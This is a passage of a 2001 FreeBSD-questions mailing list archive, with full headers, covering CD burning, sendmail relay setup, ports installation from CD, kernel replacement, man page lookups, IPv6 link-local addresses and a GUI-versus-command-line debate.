-scanbus? You can't! ide-scsi emulation is a term from the Linux world (although I've not had much to do with Linux, so I cannot tell you more). However, I guess you have an ATAPI CD burner and want to burn a CD. This can still be done under FreeBSD: simply have a look at the burncd command (man burncd). Greetings Nils Nils Holland Ti Systems - FreeBSD in Tiddische, Germany http://www.tisys.org * nils@tisys.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:27:27 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id DD7F337B416 for ; Wed, 21 Nov 2001 13:27:24 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id 86430BD3D; Wed, 21 Nov 2001 13:27:24 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id NAA09135; Wed, 21 Nov 2001 13:27:23 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fALLPMg74869; Wed, 21 Nov 2001 13:25:23 -0800 (PST) (envelope-from swear@blarg.net) To: "Lumiere" Cc: Subject: Re: Question about how to get FreeBSD References: <000201c17282$d986f560$974096d5@meff> From: swear@blarg.net (Gary W. Swearingen) Date: 21 Nov 2001 13:25:21 -0800 In-Reply-To: <000201c17282$d986f560$974096d5@meff> Message-ID: <1fn11fx1dq.11f@localhost.localdomain> Lines: 12 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Lumiere" writes: > I wanted to install FreeBSD on my computer, but I can't do it: since some time ftp-site "current.freebsd.org" asks for > some "login" and "password" ("anonymous" login doesn't work). I can't solve that precise problem, but be sure that you've done your reading before proceeding. For instance, do you want the CURRENT FreeBSD or the STABLE one? The FreeBSD Handbook has info on this sort of thing. The handbook also tells you where to get the OS. It can be found at http://www.freebsd.org Otherwise, use the "Getting FreeBSD" link at the same site. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:31:34 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts8-srv.bellnexxia.net (tomts8.bellnexxia.net [209.226.175.52]) by hub.freebsd.org (Postfix) with ESMTP id 1BA5337B416 for ; Wed, 21 Nov 2001 13:31:30 -0800 (PST) Received: from prayforwind.com ([199.243.144.159]) by tomts8-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with SMTP id <20011121213129.IWTK13234.tomts8-srv.bellnexxia.net@prayforwind.com>; Wed, 21 Nov 2001 16:31:29 -0500 From: Steve Brown Date: Wed, 21 Nov 2001 21:41:15 GMT Message-ID: <20011121.21411500@prayforwind.com> Subject: Re: anybody using freebsd with earthlink connection ? To: Bara Zani Cc: In-Reply-To: <01f401c172b4$0623be10$fd6e34c6@mlevy> References: <01f401c172b4$0623be10$fd6e34c6@mlevy> X-Mailer: Mozilla/3.0 (compatible; StarOffice/5.2;Linux) X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG In /etc/mail/sendmail.cf: Change: # "Smart" relay host (may be null) DS to: # "Smart" relay host (may be null) DSsmtp.myisp.com and re-start sendmail Substitute whatever earthlink's SMTP server is for the smtp.myisp.com >>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<< On 11/21/01, 12:43:25 PM, "Bara Zani" wrote regard= ing=20 anybody using freebsd with earthlink connection ?: > i want to be able to send email from my bsd box .... > _________________________________________________________ > Do You Yahoo!? > Get your free @yahoo.com address at http://mail.yahoo.com > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:34:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from smtp04.iafrica.com (net-51-14.mweb.co.za [196.2.51.14]) by hub.freebsd.org (Postfix) with ESMTP id 3FA7437B41B for ; Wed, 21 Nov 2001 13:34:36 -0800 (PST) Received: from nld-dial-196-7-200-76.mweb.co.za ([196.7.200.76] helo=iafrica.com) by smtp04.iafrica.com with esmtp (Exim 3.33 #1) id 166f1f-0008Az-00 for questions@FreeBSD.org; Wed, 21 Nov 2001 23:35:23 +0200 Message-ID: <3BFC3A23.C5B002E4@iafrica.com> Date: Wed, 21 Nov 2001 23:34:59 +0000 From: rloc Reply-To: rloc@iafrica.com Organization: CAS X-Mailer: Mozilla 4.7 [en] (X11; I; Linux 2.2.14-15mdk i686) X-Accept-Language: en MIME-Version: 1.0 To: questions@FreeBSD.org Subject: FreeBSD and installing ports Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG I recently installed version 4.4 off CDs from FreeBSDmall and have a running system now. The installation of the ports is not proceeding as per the Handbook pages 108 ff however. During the install off the CDs I selected a number of ports to be installed and this seemed to work since I can find them under /usr/ports/xyz/abc. If I mount the relevant CD in the drive and do cd /usr/ports/astro/xworld ((for example) and then type "make" The system says that xworld-2.0.tar.gz is not in /usr/ports/distinfo and then attempts to FTP this file rather than read the CD. The CD files are all in .tgz format anyway. I have been advised to do a pkg_add command but this results in a "package already installed" message. A "make install" command also results in an attempt to FTP. I would appreciate any assistance you can offer. thanks Robert To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:35:15 2001 Delivered-To: freebsd-questions@freebsd.org Received: from deborah.paradise.net.nz (deborah.paradise.net.nz [203.96.152.32]) by hub.freebsd.org (Postfix) with ESMTP id DA24E37B418 for ; Wed, 21 Nov 2001 13:35:12 -0800 (PST) Received: from ss11232 (203-79-72-40.cable.paradise.net.nz [203.79.72.40]) by deborah.paradise.net.nz (Postfix) with ESMTP id 34EA0D1DBA for ; Thu, 22 Nov 2001 10:35:11 +1300 (NZDT) From: rshea@opendoor.co.nz To: questions@FreeBSD.ORG Date: Thu, 22 Nov 2001 10:34:07 +1300 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Mysterious home pc use at midnight ... Message-ID: <3BFCD49F.17409.116392B9@localhost> X-mailer: Pegasus Mail for Win32 (v3.12c) Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi People - Just starting another day here in the sunny South Pacific and looking through the freebsd questions that have come in overnight (and thinking about the blizzard that have arrived in the previous 48 hours) I thought I might offer ... http://www.coopshouse.freeserve.co.uk/assnfaq/assntroll.htm ... as todays text. I don't think I'm being unfair when I say I think the list has acquired some (or at least one) trolls recently. Trolls go away if you ignore them. Do you think we could try that today ? Have a nice day. richard shea. ***************************************************** Open Door Ltd PO Box 119-46 Wellington, NZ PH +64 4 384 7639 FX +64 4 384 7672 ***************************************************** To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:36:59 2001 Delivered-To: freebsd-questions@freebsd.org Received: from stinger-dsl-81.wvi.com (stinger-dsl-81.wvi.com [204.119.3.81]) by hub.freebsd.org (Postfix) with ESMTP id 18B8537B405 for ; Wed, 21 Nov 2001 13:36:54 -0800 (PST) Received: from phils (dsl-95.adweb.net [208.152.19.65]) by stinger-dsl-81.wvi.com (Postfix) with ESMTP id 3578C26E1E; Wed, 21 Nov 2001 13:49:17 -0800 (PST) From: "Phil Webb" To: Cc: "'AJ Adams'" Subject: RE: alpha vs i386 Date: Wed, 21 Nov 2001 13:36:49 -0800 Message-ID: <000801c172d4$a12c9010$6601a8c0@phils> MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook, Build 10.0.2627 In-Reply-To: X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Importance: Normal Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > Could you please let me know if I am downloading the correct > installation? Do I need alpha or i386? My specs are listed below. > I could really use some help...please. Yup you got the right disc images. Now just burn them to CD and away you go! If you are new to FreeBSD (as I am) make sure you read any file with .txt at the end of it on the install CD. It'll save you a metric butt-ton of grief later. You might also thnk about dual booting between FreeBSD and Windows at least initially. There are still things that I am personally incapable of doing in FreeBSD that I can do in Windows, so I keep it around for that reason. As I learn FreeBSD more and more, I do less and less in Windows, but at times (for instance now) I still use Windows. Subscribe to the FreeBSD mailing lists and just lurk-n-learn too, that's helped me a lot. As usual, I will defer to anyone with more experience and knowledge than I and I would suggest you liten to them more than me as well! :) Welcome to FreeBSD and have fun! Phil Webb www.piperain.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:37:12 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 62A4837B417 for ; Wed, 21 Nov 2001 13:37:05 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fALLash22121; Wed, 21 Nov 2001 22:36:54 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <00ff01c172d4$a45e6f10$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "Gary W. Swearingen" Cc: References: <00a601c17202$0f9af880$0a00000a@atkielski.com><200111202228.47120@starbreaker.net><005701c17289$446b6720$0a00000a@atkielski.com> Subject: Re: home pc use Date: Wed, 21 Nov 2001 22:36:51 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Gary writes: > It doesn't have lots of useful stuff on it. Neither does a GUI, unless you count icons, title bars, and frames with shading and highlights and milky sparkling opalescence. > It doesn't have the right one inch of the > screen showing info on CPU, memory, or other > info that can be displayed. It doesn't have a clock to tell me what the clock next to the monitor is telling me, either, nor does it have an animated cursor shaped like a sneaker-wearing daemon. It's also missing a cute doggie or R2 D2 clone that appears and gives me answers to questions I haven't asked whenever I do anything that the environment isn't expecting. > It doesn't have a column of buttons in that > one inch which show me most of my running > applications and allow me to switch between them. I usually don't run more than one application, but I suppose that's a drawback. > It doesn't have a little map in that one > inch which allows me to notice instantly which > of several "desktops" I'm currently using and > to switch between them. That one inch sure seems to cover a lot of ground! > Anthony, you are REALLY going to kick yourself > when you learn to compromise in your Windows vs. > Unix mentality and stop restricting yourself to > ONLY a command line in FreeBSD. I'm not restricting myself to a command line. I just haven't seen a GUI thus far that is worth the time and trouble. Almost everything I do is text-based, and I can just open multiple ssh sessions on my Windows machine if I want to do several things at once. > I think many are slicker than fvwm, and a few > are simpler but I think it has a good balance of > features and fairly decent documentation. Okay, I'll try it. I don't suppose there is any way of cleaning up the mess after installation of a window manager, is there? I still have a ton of .something files in my home directory; I deleted everything that looked like it came with KDE, but I'm not really sure if any other junk is still lurking around. I don't see why twenty different dotfiles are necessary for one product. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:38: 0 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 9C75B37B41C for ; Wed, 21 Nov 2001 13:37:55 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 3FFE066B0F; Wed, 21 Nov 2001 13:37:55 -0800 (PST) Date: Wed, 21 Nov 2001 13:37:55 -0800 From: Kris Kennaway To: Bashar Cc: freebsd-questions@FreeBSD.ORG Subject: Re: login.conf? Message-ID: <20011121133755.A22853@xor.obsecurity.org> References: <20011121135926.E29373-100000@FreeBSD.KuwaitNet.Net> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="dDRMvlgZJXvWKvBx" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011121135926.E29373-100000@FreeBSD.KuwaitNet.Net>; from big@kuwaitnet.net on Wed, Nov 21, 2001 at 02:02:31PM +0300 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --dDRMvlgZJXvWKvBx Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Nov 21, 2001 at 02:02:31PM +0300, Bashar wrote: >=20 > i've checked the man page seems i need accounted running for this > porpose, i added the accounted and start accton but still its not working > any idea that might help? some kernel options and recompile or something? I already told you in my last mail. Kris --dDRMvlgZJXvWKvBx Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/B6yWry0BWjoQKURAoI3AKCFSi74aID/XYT2SaycUf7bdS+ibACeNKxe AoEdQuISVwvbPUs2Vr+1fbQ= =l4Pd -----END PGP SIGNATURE----- --dDRMvlgZJXvWKvBx-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:39:20 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 026E337B405 for ; Wed, 21 Nov 2001 13:39:18 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id A9B8766B0F; Wed, 21 Nov 2001 13:39:17 -0800 (PST) Date: Wed, 21 Nov 2001 13:39:17 -0800 From: Kris Kennaway To: ann kok Cc: freebsd-questions@FreeBSD.ORG Subject: Re: ssh start Message-ID: <20011121133917.B22853@xor.obsecurity.org> References: <20011121181117.50024.qmail@web20110.mail.yahoo.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="yEPQxsgoJgBvi8ip" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <20011121181117.50024.qmail@web20110.mail.yahoo.com>; from annkok2001@yahoo.com on Wed, Nov 21, 2001 at 10:11:17AM -0800 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --yEPQxsgoJgBvi8ip Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Nov 21, 2001 at 10:11:17AM -0800, ann kok wrote: > Hi all >=20 > I met the following problem > how do i fix it? >=20 > [root@mail init.d]# ./sshd start > Generating SSH1 RSA host key: [FAILED] That's not FreeBSD you're running there. Looks like RedHat. Kris --yEPQxsgoJgBvi8ip Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/B8EWry0BWjoQKURAtQaAJwOGb32DgeHKZkeW1YxTYDCYI2tOQCfbZXp LenIXgcJt5v21B722vTMTBA= =czfF -----END PGP SIGNATURE----- --yEPQxsgoJgBvi8ip-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:39:41 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id F1A8B37B405 for ; Wed, 21 Nov 2001 13:39:34 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id ADC2A66B0F; Wed, 21 Nov 2001 13:39:34 -0800 (PST) Date: Wed, 21 Nov 2001 13:39:34 -0800 From: Kris Kennaway To: Incoming Mail List Cc: questions@FreeBSD.ORG Subject: Re: copying over kernel Message-ID: <20011121133934.C22853@xor.obsecurity.org> References: <200111211855.NAA07548@whoweb.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="qjNfmADvan18RZcF" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <200111211855.NAA07548@whoweb.com>; from mailist@whoweb.com on Wed, Nov 21, 2001 at 01:55:10PM -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --qjNfmADvan18RZcF Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Nov 21, 2001 at 01:55:10PM -0500, Incoming Mail List wrote: >=20 >=20 > I want to replace /kernel with /kernel.orig. Even as superuser, I cannot > overwrite /kernel. I don't want to go through the entire 'make' procedur= e, > I just want to replace /kernel with another kernel. How can I do this? 'make install' Kris --qjNfmADvan18RZcF Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/B8VWry0BWjoQKURAp7nAJ9F3wcPZLApfpgBw+vQUAyUKIgqEwCgubhM Aa5HpBrr0Ujaxy7p0RGnz1Y= =XMNk -----END PGP SIGNATURE----- --qjNfmADvan18RZcF-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:41:42 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id 3442E37B418 for ; Wed, 21 Nov 2001 13:41:37 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id CCBFEBC7E; Wed, 21 Nov 2001 13:41:36 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id NAA12340; Wed, 21 Nov 2001 13:41:36 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fALLdab74938; Wed, 21 Nov 2001 13:39:36 -0800 (PST) (envelope-from swear@blarg.net) To: Cc: Subject: Re: man page question References: <200111211032.AA1632108746@florida-wireless.com> From: swear@blarg.net (Gary W. Swearingen) Date: 21 Nov 2001 13:39:36 -0800 In-Reply-To: <200111211032.AA1632108746@florida-wireless.com> Message-ID: Lines: 7 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG A quick way to learn the section number(s) of command is: man -wa command The only other "man" option I use frequently is "man -k searchstring". (Same as "apropos searchstring", except easier to spell.") To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:42:47 2001 Delivered-To: freebsd-questions@freebsd.org Received: from obsecurity.dyndns.org (adsl-64-165-226-105.dsl.lsan03.pacbell.net [64.165.226.105]) by hub.freebsd.org (Postfix) with ESMTP id 5AADD37B419 for ; Wed, 21 Nov 2001 13:42:41 -0800 (PST) Received: by obsecurity.dyndns.org (Postfix, from userid 1000) id 1719C66B0F; Wed, 21 Nov 2001 13:42:37 -0800 (PST) Date: Wed, 21 Nov 2001 13:42:37 -0800 From: Kris Kennaway To: rloc Cc: questions@FreeBSD.ORG Subject: Re: FreeBSD and installing ports Message-ID: <20011121134236.D22853@xor.obsecurity.org> References: <3BFC3A23.C5B002E4@iafrica.com> Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-md5; protocol="application/pgp-signature"; boundary="Km1U/tdNT/EmXiR1" Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3BFC3A23.C5B002E4@iafrica.com>; from rloc@iafrica.com on Wed, Nov 21, 2001 at 11:34:59PM +0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG --Km1U/tdNT/EmXiR1 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Wed, Nov 21, 2001 at 11:34:59PM +0000, rloc wrote: > I recently installed version 4.4 off CDs from FreeBSDmall and have a > running system now. The installation of the ports is not proceeding as > per the Handbook pages 108 ff however. >=20 > During the install off the CDs I selected a number of ports to be > installed and this seemed to work since I can find them under > /usr/ports/xyz/abc. >=20 > If I mount the relevant CD in the drive and do cd > /usr/ports/astro/xworld ((for example) and then type "make" > The system says that xworld-2.0.tar.gz is not in /usr/ports/distinfo and > then attempts to FTP this file rather than read the CD. The CD files are > all in .tgz format anyway. >=20 > I have been advised to do a pkg_add command but this results in a > "package already installed" message. >=20 > A "make install" command also results in an attempt to FTP. >=20 > I would appreciate any assistance you can offer. What are you trying to do? If you selected to install certain *packages* at install-time, they're already there and you don't need to do anything else now. If you also selected to install the *ports collection*, that's under /usr/ports, and it's a way you can compile new packages from source or recompile the ones you have (it will obviously need to go out and download the source from somewhere before it can do this). You can also download new packages using pkg_add -r. Kris --Km1U/tdNT/EmXiR1 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (FreeBSD) Comment: For info see http://www.gnupg.org iD8DBQE7/B/MWry0BWjoQKURAkxeAKD/dne5iLyZxJW1NVk9+6YGC5S7WwCg/bQJ 8iScsTXHywwqmHG6pNeoFL0= =yqBa -----END PGP SIGNATURE----- --Km1U/tdNT/EmXiR1-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:47:25 2001 Delivered-To: freebsd-questions@freebsd.org Received: from freebie.atkielski.com (ASt-Lambert-101-2-1-14.abo.wanadoo.fr [193.251.59.14]) by hub.freebsd.org (Postfix) with ESMTP id 790CB37B426 for ; Wed, 21 Nov 2001 13:47:21 -0800 (PST) Received: from contactdish (win.atkielski.com [10.0.0.10]) by freebie.atkielski.com (8.11.3/8.11.3) with SMTP id fALLlIh77430 for ; Wed, 21 Nov 2001 22:47:19 +0100 (CET) (envelope-from anthony@freebie.atkielski.com) Message-ID: <010b01c172d6$186032d0$0a00000a@atkielski.com> From: "Anthony Atkielski" To: "FreeBSD Questions" Subject: Error on xl0 Date: Wed, 21 Nov 2001 22:47:18 +0100 Organization: Anthony's Home Page (development site) MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG What does this error message mean on the console: xl0: transmission error: 90 xl0: tx underrun, increasing tx start threshold to 120 bytes It occured three times in a row while I was doing make install for fvwm2. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 13:48:13 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mirapoint2.brutele.be (mirapoint2.brutele.be [212.68.193.7]) by hub.freebsd.org (Postfix) with ESMTP id CED0D37B419 for ; Wed, 21 Nov 2001 13:48:07 -0800 (PST) Received: from gateway.lefort.net ([213.189.162.247]) by mirapoint2.brutele.be (Mirapoint) with SMTP id AOG88229; Wed, 21 Nov 2001 22:48:02 +0100 (CET) Received: from jsite.lefort.net (jsite.lefort.net [192.168.1.2]) by gateway.lefort.net (8.11.6/8.11.6) with ESMTP id fALKvei00573 for ; Wed, 21 Nov 2001 21:57:40 +0100 (CET) (envelope-from jylefort@jsite.lefort.net) Received: (from jylefort@localhost) by jsite.lefort.net (8.11.6/8.11.6) id fALKveK05713 for freebsd-questions@FreeBSD.org; Wed, 21 Nov 2001 21:57:40 +0100 (CET) (envelope-from jylefort) Date: Wed, 21 Nov 2001 21:57:40 +0100 From: Jean-Yves Lefort To: freebsd-questions@FreeBSD.org Subject: IPv6 autoconfiguration Message-ID: <20011121215740.A3880@jsite.lefort.net> Mail-Followup-To: freebsd-questions@FreeBSD.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi all, Previously addresses in the form fe80*% were assigned automatically to my IPv6 network interfaces. Having read that those fe80 addresses are used by IPv6 configuration, and having decided that I don't need this feature, I have been able to disable the automatic assignation by appending the following line in my /etc/sysctl;conf: net.inet6.ip6.auto_linklocal=0 After a system reboot, the move seemed to be successfull for all interfaces *but* the loopback interface: # ifconfig lo0 lo0: flags=8049 mtu 16384 inet6 ::1 prefixlen 128 >>>> inet6 fe80::1%lo0 prefixlen 64 scopeid 0x2 <<<< inet 127.0.0.1 netmask 0xff000000 Is there a way (other than ifconfig delete) to get rid of that address? Best regards, Jean-Yves Lefort To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Wed Nov 21 14:20:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from lists.blarg.net (lists.blarg.net [206.124.128.17]) by hub.freebsd.org (Postfix) with ESMTP id 775D737B405 for ; Wed, 21 Nov 2001 14:20:52 -0800 (PST) Received: from thig.blarg.net (thig.blarg.net [206.124.128.18]) by lists.blarg.net (Postfix) with ESMTP id D7968BD55; Wed, 21 Nov 2001 14:20:51 -0800 (PST) Received: from localhost.localdomain ([206.124.139.115]) by thig.blarg.net (8.9.3/8.9.3) with ESMTP id OAA21499; Wed, 21 Nov 2001 14:20:51 -0800 Received: (from jojo@localhost) by localhost.localdomain (8.11.6/8.11.3) id fALMIpX74953; Wed, 21 Nov 2001 14:18:51 -0800 (PST) (envelope-from swear@blarg.net) To: "Anthony Atkielski" Cc: Subject: Re: home pc use References: <00a601c17202$0f9af880$0a00000a@atkielski.com> <200111202228.47120@starbreaker.net> <005701c17289$446b6720$0a00000a@atkielski.com> <00ff01c172d4$a45e6f10$0a00000a@atkielski.com> From: swear@blarg.net (Gary W. Swearingen) Date: 21 Nov 2001 14:18:50 -0800 In-Reply-To: <00ff01c172d4$a45e6f10$0a00000a@atkielski.com> Message-ID: Lines: 40 User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.1 (Cuyahoga Valley) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG "Anthony Atkielski" writes: > Gary writes: > > > It doesn't have lots of useful stuff on it. > > Neither does a GUI, unless you count icons, title bars, and frames with shading > and highlights and milky sparkling opalescence. I don't count most. My GUI has none of those things except narrow frames and title bars which shown things like current directory, current file being edited, and other moderately useful stuff like window/application name. > That one inch sure seems to cover a lot of ground! Well, 0.85 x 8.3, to be more precise. Even with a useless clock and room to spare (99% of the time). Round clock, date, load+CPU+mem+swap+paging monitors, button-bar, space, screen-pager box. > and I can just open multiple ssh sessions on my Windows machine if I want to do > several things at once. Oh, I see. That's like a typical Unix console which allows you to switch between multiple "virtual terminals" or use of the "screen" command which does a similar thing if you can't use virtual terminals. But at least you have the benefits of Windows. You might find "screen" helpful, but I'm not sure. ports/misc/screen > I don't suppose there is any way of cleaning up the mess 